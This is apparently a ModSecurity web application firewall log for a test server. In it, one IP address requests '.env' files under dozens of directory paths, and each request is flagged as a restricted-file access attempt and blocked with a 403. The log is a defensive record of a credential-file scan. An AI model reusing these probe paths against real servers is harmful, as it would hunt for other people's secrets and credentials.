[Thu Feb 26 01:03:11.246188 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /next/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4wAAAAM&quot;]
[Thu Feb 26 01:03:11.246443 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4wAAAAM&quot;]
[Thu Feb 26 01:03:11.246599 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/next/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk4wAAAAM&quot;]
[Thu Feb 26 01:03:11.260095 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /munki_repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PyQAAAAU&quot;]
[Thu Feb 26 01:03:11.260330 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PyQAAAAU&quot;]
[Thu Feb 26 01:03:11.260502 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/munki_repo/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PyQAAAAU&quot;]
[Thu Feb 26 01:03:11.280663 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx-server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5AAAAAM&quot;]
[Thu Feb 26 01:03:11.280893 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5AAAAAM&quot;]
[Thu Feb 26 01:03:11.281049 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx-server/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5AAAAAM&quot;]
[Thu Feb 26 01:03:11.283839 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /music/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PygAAAAU&quot;]
[Thu Feb 26 01:03:11.284035 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PygAAAAU&quot;]
[Thu Feb 26 01:03:11.284168 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/music/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PygAAAAU&quot;]
[Thu Feb 26 01:03:11.315541 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /niffler-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5QAAAAM&quot;]
[Thu Feb 26 01:03:11.315773 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5QAAAAM&quot;]
[Thu Feb 26 01:03:11.315931 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/niffler-frontend/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5QAAAAM&quot;]
[Thu Feb 26 01:03:11.334708 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /myrentals.web/clientapp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PywAAAAU&quot;]
[Thu Feb 26 01:03:11.334985 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PywAAAAU&quot;]
[Thu Feb 26 01:03:11.335751 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/MyRentals.Web/ClientApp/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PywAAAAU&quot;]
[Thu Feb 26 01:03:11.338769 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5gAAAAM&quot;]
[Thu Feb 26 01:03:11.338994 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5gAAAAM&quot;]
[Thu Feb 26 01:03:11.339145 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5gAAAAM&quot;]
[Thu Feb 26 01:03:11.388084 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5wAAAAM&quot;]
[Thu Feb 26 01:03:11.388349 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5wAAAAM&quot;]
[Thu Feb 26 01:03:11.388522 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/login/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk5wAAAAM&quot;]
[Thu Feb 26 01:03:11.405520 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /name/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PzQAAAAU&quot;]
[Thu Feb 26 01:03:11.405767 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PzQAAAAU&quot;]
[Thu Feb 26 01:03:11.405921 2026] [:error] [pid 2330812] [client 185.177.72.22:15518] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/name/.env&quot;] [unique_id &quot;aZ-Nvyk1SHHL9bIjTI-PzQAAAAU&quot;]
[Thu Feb 26 01:03:11.409866 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nodejs-projects/play-ground/manageuserroles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6AAAAAM&quot;]
[Thu Feb 26 01:03:11.410104 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6AAAAAM&quot;]
[Thu Feb 26 01:03:11.410258 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Nodejs-Projects/play-ground/ManageUserRoles/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6AAAAAM&quot;]
[Thu Feb 26 01:03:11.432185 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /novnc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6QAAAAM&quot;]
[Thu Feb 26 01:03:11.432460 2026] [:error] [pid 2330791] [client 185.177.72.22:15512] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/noVNC/.env&quot;] [unique_id &quot;aZ-Nvw3HqGC30X9HPoEk6QAAAAM&quot;]
